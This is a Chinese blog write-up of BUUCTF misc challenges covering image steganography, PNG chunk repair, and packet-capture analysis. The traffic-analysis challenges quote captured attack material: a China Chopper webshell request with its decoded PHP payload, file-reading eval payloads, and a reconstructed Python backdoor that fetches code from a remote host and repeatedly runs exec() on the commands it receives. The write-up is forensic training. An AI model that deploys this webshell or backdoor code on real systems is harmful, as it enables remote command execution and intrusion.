【BUUCTF】MISC WP Ⅱ

[MRCTF 2020] Hello_ misc

文件名提示修復(fù)圖片,用 stegsolve 修復(fù)紅色色道,保存為 png 得到密碼

binwalk 發(fā)現(xiàn)藏著一個壓縮包,提出來解壓得到 out.txt
① 分析
反復(fù)出現(xiàn) 127、255、63、191 這幾個數(shù)字
二進(jìn)制分別對應(yīng):01111111、11111111、00111111、10111111
最高兩位分別為:01、11、00、10
② 腳本
每四個為一組,二進(jìn)制 ? 十進(jìn)制 ? 字符(ASCII碼)進(jìn)行輸出
輸出結(jié)果:rar-passwd: 0ac1fe6b77be5dbe,解壓得到 fffflag.zip

from binascii import *

# 讀取數(shù)字
fp = open('out.txt','r')
a = fp.readlines()
p = []
for i in a:
    p.append(int(i))
# 最高兩位
s = ""
for i in p:
    if i == 63:
        a = '00'
    elif i == 127:
        a = '01'
    elif i == 191:
        a = '10'
    elif i == 255:
        a = '11'
    s += a
print (s)
out = ""
# 每八個字符為一組
for i in range(0,len(s),8):
    # 二進(jìn)制轉(zhuǎn)十進(jìn)制
    x = int(s[i:i+8],2) 
    # 十進(jìn)制轉(zhuǎn)十六進(jìn)制
    out += chr(x) 
    print ('標(biāo)志位 '+ str(i) + ': ' + str(s[i:i+8]) +' -> ' + str(x) + ' -> ' + str(chr(x)))
print (out)

這一看就是 docx 文件,全選文字改色,將每一行 base64 解碼,得到一堆 1 和 0

觀察良久,發(fā)現(xiàn)把 1 去掉,0 圍成了有意義的字母,猜測:flag{He1Lo_mi5c~}

[BSidesSF 2019] zippy

① binwalk 發(fā)現(xiàn)藏著一個壓縮包
流量包拖入 wireshark,追蹤 TCP 流
發(fā)現(xiàn)一條 Shell 命令:unzip -P supercomplexpassword flag.zip
② 我們知道命令格式:unzip -P { 密碼 } { 壓縮包 }
所以密碼為 supercomplexpassword,解壓得到:flag{this_flag_is_your_flag}

[UTCTF 2020] docx

binwalk 一下發(fā)現(xiàn) docx 里藏了很多圖片

直接改后綴名,解壓,在 \word \media 目錄下找到 flag

[湖南省賽 2019] Findme

① 先 strings 了一下隱藏信息
4.png 信息:another part: cExlX1BsY
5.png 信息:I give U a gift: Yzcllfc0lN
猜測 flag 就是五張圖片加起來的 base64 解碼
② 1.png 這種圖,要么是虛幻要么是寬高被改
這里用腳本跑一下原來的寬高
輸出寬字節(jié)為:00 00 00 e3,高字節(jié)為:00 00 01 c5

import zlib
import struct

filename = '111.png'
with open(filename, 'rb') as f:
    all_b = f.read()
    crc32key = int(all_b[29:33].hex(),16)
    data = bytearray(all_b[12:29])
    n = 4095           
    for w in range(n):          
        width = bytearray(struct.pack('>i', w))    
        for h in range(n):
            height = bytearray(struct.pack('>i', h))
            for x in range(4):
                data[x+4] = width[x]
                data[x+8] = height[x]
            crc32result = zlib.crc32(data)
            if crc32result == crc32key:
                print("寬為:",end="")
                print(width)
                print("高為:",end="")
                print(height)

在 winhex 中修改寬高后,發(fā)現(xiàn)圖片壞的,這種情況只可能是 IDAT 有問題

打開 010editor,修復(fù) chunk[2]、chunk[3] 的 IDAT 標(biāo)識,得到了正常圖片
用 Stegsolve 打開,在 blue 2 色道發(fā)現(xiàn)二維碼,掃描:ZmxhZ3s0X3
③ 不難發(fā)現(xiàn) 3.png 文件尾的 37 7A 03 04 和 ZIP 的 50 4B 03 04 的格式很像

全部修改,保存解壓,得到一堆 txt,在 618.txt 里找到:You find it: 1RVcmVfc
④ 3.png 的 chunk[0] - chunk[6] 的每一個數(shù)據(jù)塊的 crc 值都是可打印的 ascii 字符
所以 0x33,0x52,0x6C,0x5A,0x33,0x30,0x3D => 3RlZ30=
⑤ 總結(jié)一下:
1.png:ZmxhZ3s0X3,base64 解碼:flag{4_
2.png:1RVcmVfc
3.png:3RlZ30=

4.png:cExlX1BsY
5.png:Yzcllfc0lN
1 解碼得到:flag{4_ ,放最前,3 放最后,然后 2、4、5 多試幾次
按照 15423 的順序拼接,解碼得到:flag{4_v3rY_sIMpLe_PlcTUre_steg}

[GWCTF 2019] huyao

考點(diǎn):盲水印(BlindWaterMark)
python2 bwm.py decode huyao.png stillhuyao.png flag.png
python3 bwmforpy3.py decode huyao.png stillhuyao.png flag.png

[UTCTF 2020] Zero

考點(diǎn):零寬度字符隱寫

將 txt 文件用 vim 查看,其中隱藏了 U+200B、U+200C、U+200D、U+FEFF、U+202C
找個網(wǎng)址去掉就行了:utflag{whyNOT@sc11_4927aajbqk14}

[GUET-CTF 2019] soul sipse

hint:flag{a+b}
起初以為是電碼題,后來發(fā)現(xiàn)是隱寫,音頻一般 binwalk 分不開
用 steghide 分出 download.txt

得到網(wǎng)址:https://share.weiyun.com/5wVTIN3
下載得到 GUET.png ,修復(fù)文件頭后打開,得到 unicode 碼
解碼,flag{5304}

  • 圖片分析之隱寫術(shù)

隱寫術(shù):一門關(guān)于信息隱藏的技巧與科學(xué)
信息隱藏:指不讓預(yù)期的接收者外的任何人知曉信息的傳遞事件或信息的內(nèi)容
隱寫與編碼加密概念并不相同,但經(jīng)常會將兩者結(jié)合起來進(jìn)行出題

  • 附加式圖片隱寫

就是在載體文件上附加隱寫內(nèi)容,而我們要提取出載體文件中被隱藏的內(nèi)容
在 CTF 賽事中,有兩種常見方式:直接附加字符串 ,圖片作為其他文件的載體

① 直接附加字符串,一般用 strings 命令查看,也可以用 010 Editor 查看
② 圖片作為其他文件的載體
最常見的是圖種。圖種就是將圖片與壓縮包結(jié)合起來的文件,文件保存為圖片格式,可以正常顯示圖片。由于操作系統(tǒng)識別的過程是,從文件頭標(biāo)志到文件的結(jié)束標(biāo)志位,當(dāng)識別到圖片的結(jié)束標(biāo)志位后,默認(rèn)不再繼續(xù)識別,所以我們只能看到它是一張圖片。

對于這類的隱寫,我們可以通過 winhex、010 Editor 、binwalk 分離文件
  • 基于文件結(jié)構(gòu)的圖片隱寫

A)文件頭數(shù)據(jù)塊(IHDR)
PNG 文件的第一個數(shù)據(jù)塊,而且一個 PNG 只能有一個文件頭數(shù)據(jù)塊
它包含 PNG 圖像的基本信息,圖片的寬高,圖像深度,圖像類型,壓縮方法等
如圖所示,標(biāo)藍(lán)部分為 IHDR 數(shù)據(jù)塊
00 00 00 0D 代表頭塊長,49 48 44 52 代表 IHDR 標(biāo)識
00 00 02 D3 代表圖片的寬,00 00 02 46 代表圖片的高
在 CTF 中,經(jīng)常通過改變寬高使得圖片顯示不完整,或無法顯示從而隱寫
我們不能輕易修改圖片寬高的值,以防圖片報錯打不開,可以:
① 通過 CRC 值推算寬高的值 ② 修改寬高的值后計算出新的 CRC 值進(jìn)行替換

import zlib
import struct

filename = 'test.png'
with open(filename, 'rb') as f:
    all_b = f.read()
    crc32key = int(all_b[29:33].hex(),16)
    data = bytearray(all_b[12:29])
    n = 4095           
    for w in range(n):          
        width = bytearray(struct.pack('>i', w))    
        for h in range(n):
            height = bytearray(struct.pack('>i', h))
            for x in range(4):
                data[x+4] = width[x]
                data[x+8] = height[x]
            crc32result = zlib.crc32(data)
            if crc32result == crc32key:
                print("寬為:",end="")
                print(width)
                print("高為:",end="")
                print(height)

B)調(diào)色板數(shù)據(jù)塊(PLTE)
它僅與索引彩色圖像有關(guān),包含了與索引彩色圖像相關(guān)的變換數(shù)據(jù),必須放在圖像數(shù)據(jù)塊之前。真彩色的 PNG 數(shù)據(jù)流也可以有 PLTE,便于非真彩色顯示程序用它來量化圖像數(shù)據(jù),進(jìn)而顯示圖像。
數(shù)據(jù)流:一組有序的字節(jié)數(shù)據(jù)序列,代表傳輸中所使用信息的數(shù)字編碼信號序列
C)圖像數(shù)據(jù)塊(IDAT)
IDAT 存儲圖像真正的數(shù)據(jù),在數(shù)據(jù)流中可以有多個連續(xù)的 IDAT
IDAT 塊只有當(dāng)上一個塊充滿時,才會繼續(xù)一個新的塊
IDAT 采用 LZ77 算法的派生算法進(jìn)行壓縮,可以用 zlib 解壓縮

D)IEND
圖像結(jié)束數(shù)據(jù)(IEND):用來標(biāo)記文件或數(shù)據(jù)流已經(jīng)結(jié)束,必須放在文件尾
IEND 的長度是 00 00 00 00,數(shù)據(jù)標(biāo)識是 49 45 4E 44,CRC 值是 AE 42 60 82

2020 年 10 月 17 日

  • 流量分析 —— CTF題目實(shí)戰(zhàn)

  • 題目 1

解碼得到:User: test@51elab.com ,Pass: FLAG:ISCCTESTpas

  • 題目 2

隨便跟蹤一個 TCP 流
  • 題目 3

① 切換至 http 進(jìn)行查看,發(fā)現(xiàn)大量數(shù)據(jù)爆破,猜想是黑客進(jìn)行掃描

② 瀏覽之后發(fā)現(xiàn)黑客執(zhí)行 phpinfo 成功,執(zhí)行命令:
print_r(gzcompress(file_get_contents(base64_decode(%22aW5kZXgucGhw%22))))
print_r(gzcompress(file_get_contents(base64_decode(%22ZmxhZy50eHQ%22))))

解碼得到操作文件名:index.php ,flag.txt
③ 我們切換至原始數(shù)據(jù),提取到 flag.txt 的 gz 壓縮二進(jìn)制內(nèi)容:
789ccbc82c492e49abb6304d32484c354eb4483437b048b234324f4a334c343648494b334e36333531a8e5020018cb0c6c
保存成文件,然后寫腳本進(jìn)行解壓縮,得到 flag

php
<?php 
$a = gzuncompress(file_get_contents('./test'));
echo $a;
?>
  • 題目 4

先查看 http 流量,發(fā)現(xiàn)黑客不斷向 /uploads/dvwa.php 提交 POST 數(shù)據(jù)

根據(jù)目錄,猜想可能存在一句話木馬,進(jìn)入 tcp 流跟蹤,發(fā)現(xiàn)可疑操作:

cmd=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCg
wKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiK
SREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWi
IpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0c
Hd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9
KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

URL 解碼,BASE64 解碼,發(fā)現(xiàn)為中國菜刀的流量:

php
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
    $D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\t";
if(substr($D,0,1)!="/")
{
    foreach(range("A","Z") as $L)
        if(is_dir("{$L}:"))
            $R.="{$L}:";
}
$R.="\t";
$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';
$usr=($u)?$u['name']:@get_current_user();
$R.=php_uname();
$R.="({$usr})";
print $R;;
echo("|<-");
die();

為了找 key,遍歷查看黑客操作

① 在 tcp stream 5 發(fā)現(xiàn)存在 rar 壓縮包
提出來,解壓是一張圖片,得到 key1 = c7265f89

② 在 tcp stream 6 發(fā)現(xiàn)存在 png 圖片
我們將數(shù)據(jù)復(fù)制存入 123.txt,運(yùn)行解碼的 php 語言寫入至文件 1.png
<?php
function str2bin($hexdata)
    {
        $bindata="";
        for ($i=0;$i < strlen($hexdata);$i+=2) {
            $bindata.=chr(hexdec(substr($hexdata,$i,2)));
        }
        return $bindata;
    }
$a = file_get_contents("./123.txt");
$a = $a;
$b = str2bin($a);
file_put_contents("./1.png",$b);

圖片里得到 key2 = 8a52fcc4,完整 key = c7265f898a52fcc4

  • 題目 5

打開 tcp 跟蹤流,猜測存在 pyc 文件流內(nèi)容
http 導(dǎo)出對象,然后在線 pyc 反編譯,成功得到 client.py
打開有大量 base64 拆分?jǐn)?shù)組的混淆
最后的 base64 代碼,解碼得到:
python
strr = ""
for i in range(0,1158):
strr=strr+arg[i][::-1]
exec(base64.b64decode(strr))

再結(jié)合 1158 個混淆數(shù)組,運(yùn)行得到:

import base64
import socket
import sys
import os
import time

decs = ' A/MNCs/sv1ljAAAAAAAAAAAGAAAAQAAMA ……… ' (太長,就省略了)
f2 = open('d'+'e'+'c'+'.'+'p'+'y'+'c','w'); # dec.pyc
f2.write(base64.b64decode(decs));
f2.close();

import dec;
os.system('rm -rf dec.pyc')
remote_ip = '192.168.1.101'
port = 9011

def send_m(remote_ip, port, msg, get=False):
    all_data=[]
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # socket鏈接
        s.connect((remote_ip , port))
        if get:
            message = msg
        else:
            message = enc.fun(msg) # 密文加密
        s.sendall(message)
        while True:
            data = s.recv(20480)
            if data: 
                string = bytes.decode(data, 'utf-8')
                break
        return dec.fun(string) # 密文解密
    except socket.error, msg:
        print 'emmmmmmm_boom'
        sys.exit();
        
encs=send_m(remote_ip,port,'just_a_test',True)
f1 = open('e'+'n'+'c'+'.'+'p'+'y'+'c','w'); # enc.pyc
f1.write(base64.b64decode(encs));
f1.close();

import enc;
os.system('rm -rf enc.pyc')

while True:
    exec(send_m(remote_ip,port,'I lose my way'))
    print('new loop after 5s')
    time.sleep(5)

代碼首先寫入了 dec.pyc,調(diào)用了 dec.fun 函數(shù)進(jìn)行密文解密

并且發(fā)現(xiàn)這是一個 socket 鏈接,我們在流量包中找到密文
調(diào)用 dec.py 解密,即可得到 flag
  • 題目 6

解壓后得到文件:++ __ ++
由于不知道后綴,file 查看一下:++__++: pcap-ng capture file - version 1.0
改后綴,分析流量,在追蹤 TCP 流時發(fā)現(xiàn)文件內(nèi)容

# coding:utf-8
from Crypto import Random
from Crypto.Cipher import AES
import sys
import base64

IV = 'QWERTYUIOPASDFGH'
def decrypt(encrypted):
  aes = AES.new(IV, AES.MODE_CBC, IV)
  return aes.decrypt(encrypted)
def encrypt(message):
  length = 16
  count = len(message)
  padding = length - (count % length)
  message = message + '\0' * padding
  aes = AES.new(IV, AES.MODE_CBC, IV)
  return aes.encrypt(message)
str = 'this is a test'
example = encrypt(str)
print(decrypt(example))

發(fā)現(xiàn)函數(shù)調(diào)用了 AES 加密:
aes = AES.new(IV, AES.MODE_CBC, IV)
偏移量為 IV ,加密模式為 CBC ,密鑰為 IV
其中 IV = 'QWERTYUIOPASDFGH'
尋找密文,發(fā)現(xiàn)操作:[root@localhost wireshark]# cat 22
得到密文:19aaFYsQQKr+hVX6hl2smAUQ5a767TsULEUebWSajEo=

解密得到:passwd={No_One_Can_Decrypt_Me}
繼續(xù)分析流量,發(fā)現(xiàn)操作:
[root@localhost wireshark]# cat 11
Rar!....3................TU..<..... .+......flag.txt0.....n.Kr..z....uEo.Bn&=i.S..>....4.B..~...xj.".
...u......3.....jWj..%m..!.+h...+s..q#.]...3Ks.y.....r.2...wVQ....[root@localhost wireshark]#

里面藏了壓縮包 RAR,提出來解壓得到 flag

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容